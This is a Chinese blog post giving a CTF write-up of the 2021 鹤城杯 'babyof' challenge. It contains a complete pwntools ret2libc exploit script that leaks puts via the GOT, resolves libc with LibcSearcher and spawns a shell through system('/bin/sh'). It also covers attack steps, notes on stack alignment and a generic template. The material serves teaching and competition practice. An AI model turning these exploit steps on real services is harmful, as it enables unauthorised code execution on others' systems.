【PWN · ret2libc】[2021 鹤城杯]babyof

文章详细介绍了64位Linux系统下ret2libc漏洞利用的技术流程,包括通过puts泄漏GOT表地址,计算libc基址,构造system调用以执行/bin/sh。作者使用pwntools和LibcSearcher库来辅助分析,并讨论了攻击步骤、参数传递方式以及注意事项,特别提到了栈对齐和ret指令在payload中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Linux_64的经典ret2libc题目,有必要好好整理总结一下其中的流程和注意点

目录

前言

一、题目重述

二、exp(思考与理解在注释)

三、经验总结

攻击步骤:

注意要点 

四、疑问 


前言

64位Linux和32位Linux确乎有着关于参数传递上的不同,然而无论哪种,关于ret2libc这一题型。如果仅仅是wiki上的三道题目,那还是远远不够的。故尝试通过本题,总结ret2libc的一般过程。

过程包括通过puts/write来泄露got表中的puts/write的真实地址->计算libc的基址->libc基址+任意库函数相对于libc的偏移量=任意函数真实地址->libc基址+libc中'/bin/sh'偏移量='/bin/sh'地址,如此构造system('/bin/sh')

一、题目重述

很明显存在栈溢出。而动态链接、不存在system、不存在'/bin/sh',说明是ret2libc无疑了。 


二、exp(思考与理解在注释)

from pwn import *                 #pwntools
from LibcSearcher import *        #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库

elf=ELF("./babyof")               #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")

pop_ret_rdi_addr=0x400743	        #64linux,用于参数填入函数
puts_plt_addr=0x400520            #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b                #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506                      #用于返回,否则出错(?)

io=remote("node4.anna.nssctf.cn",28715)  #远程连接

payload=b'a'*(0x40+8)             #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"])     #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr)       #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr)           #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出

io.sendlineafter("overflow?\n",payload)  #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。

#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

payload2=b'a'*(0x40+8)            #栈溢出
payload2+=p64(ret)                #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入 
payload2+=p64(system_real_addr)   #调用system
payload2+=p64(main_addr)          #只是为了能够找到一个合法地址(?) 

io.sendlineafter("overflow?\n",payload2)         #栈溢出点发送payload
io.recv()                         #吸收一下发过来的数据,没必要
io.interactive()                  #开始交互,ls -> cat flag

关于plt/got和ret的获取方式,可以通过ROPgadget以及pwntools中ELF或者gdb调试获得。

当然IDA的反汇编也是非常重要的。


三、经验总结

攻击步骤:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址

2、获取libc的版本

3、根据偏移获取shell和sh的位置:

        a、求libc的基地址(函数动态地址-函数偏移量)

        b、求其他函数地址(基地址+函数偏移量)

4、执行程序获取shell

注意要点 

  • 64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的;32位Linux是用栈传递参数的
  • libc已知的情况,可以通过反编译libc获取地址,也可以用pwntools的ELF类来获取
  • libc未知的情况下,需要确定libc的版本号,在线查找libc database search (blukat.me) 
  • 可以使用LibSearcher库极大方便地确定libc、确定libc基址、确定函数真实地址
  • 64位下,参数可通过pop_reg+value的方式,把value传入reg以备作参数
  • obj = LibcSearcher("gets",gets_real_addr)
    libcbase = gets_real_addr – obj.dump("gets")
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

四、疑问 

  • exp下的程序执行流究竟是怎么样的?
  • payload1/2都在最后加了main_addr,第一个是为了重新栈溢出(吧?),第二个呢是为了程序能够正常退出吗?
  • 大佬们的wp,都自然而然加了ret——不加会出错,ret的作用是什么,从哪里返回到哪里?这应该还是与程序控制执行流的实际情况有关吧。求解答!!!!

===============================2023/6/1更新================================ 

在奕浩大佬的帮助下,动态调试,直接理解了其中的原因:

其实这是因为system被调用时,其中有一个汇编指令,要求栈顶16字节对齐,否则会出错。而我们为了能够正常执行跳转,又需要栈能够调整其高度,就可以通过ret+ret+...+addr的方式。这样首先是调整了输入的个数(满足栈顶对齐的要求),其次ret到下一个ret,反复执行实则是“空转”,相当于pop了当前的栈元素,不起到任何其他作用。最后还是跳到了addr的位置。 

### CTF PWN Ret2libc 攻击教程与实例 Ret2libc是一种利用栈溢出漏洞的技术,在这种技术下,攻击者通过覆盖返回地址来调用系统中的现有函数(通常是`system()`),从而执行任意命令。当面对静态链接的二进制文件时,由于其缺少GOT/PLT表,“xxx is statically linked, skipping GOT/PLT symbols”的提示表明无法从这些地方获取库函数地址[^1]。 对于动态链接的目标而言,可以通过操纵堆栈指针指向目标函数的实际位置实现ret2libc攻击;而对于静态编译的情况,则可以直接在`.text`段内寻找所需的函数入口点并加以利用。 下面是一个简单的Python脚本用于演示如何实施ret2libc攻击: ```python from pwn import * # 设置远程连接参数 host = 'example.com' port = 9999 # 连接到服务端 conn = remote(host, port) # 假设已知偏移量为offset=108字节,并且存在可以控制的数据位于该处之后 offset = 108 # 获取/bin/sh字符串的位置以及system()函数的真实地址 bin_sh_addr = 0xdeadbeef # 需要替换为实际地址 system_addr = 0xbadc0de # 同上 payload = b'A' * offset + pack(system_addr) + b'JUNK' + pack(bin_sh_addr) # 发送载荷给服务器 conn.sendline(payload) # 切换到交互模式以便观察后续操作结果 conn.interactive() ``` 此代码片段展示了发送精心构造的有效负载至易受攻击的服务的过程,其中包含了必要的填充字符、system()函数地址及其参数"/bin/sh"所在内存区域的指针值。需要注意的是上述示例中使用的具体数值应当依据实际情况调整。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值